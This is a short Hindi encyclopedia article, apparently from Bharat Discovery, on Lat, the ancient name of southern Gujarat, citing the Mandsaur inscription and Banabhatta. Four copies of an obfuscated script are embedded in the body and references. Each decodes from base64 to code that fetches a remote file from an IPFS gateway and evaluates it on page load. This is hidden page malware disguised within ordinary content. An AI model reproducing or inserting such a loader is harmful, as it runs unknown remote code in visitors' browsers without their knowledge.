लाट
भारत डिस्कवरी प्रस्तुति
लाट | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- लाट (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
लाट दक्षिणी गुजरात का प्राचीन नाम था, जिसका गुप्त अभिलेखों में उल्लेख है।[1]
- संस्कृत काव्य का लाटानुप्रास नामक अलंकार, लाट के कवियों द्वारा ही प्रचलित किया गया था।
- मंदसौर अभिलेख (422 ई.) में लाट देश से दशपुर में जाकर बसने वाले पट्टवाय-शिल्पियों का उल्लेख है-
'लाटविषयान्नगावृतशैलाज्जगति प्रथितशिल्पाः।'
- इस अभिलेख में लाट को 'कुसुमभरानततरुवरदेवकुलसभाबिहाररमणीय' देश कहा गया है।
- बाण ने प्रभाकरवर्धन को 'लाटपाटवपाटच्चर'[2] कहकर उसकी लाट विजय का निर्देश किया है।[3]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 816 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ लाट देश के कौशल को चुरा लेने वाला
- ↑ हर्षचरित, उच्छ्वास-4
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>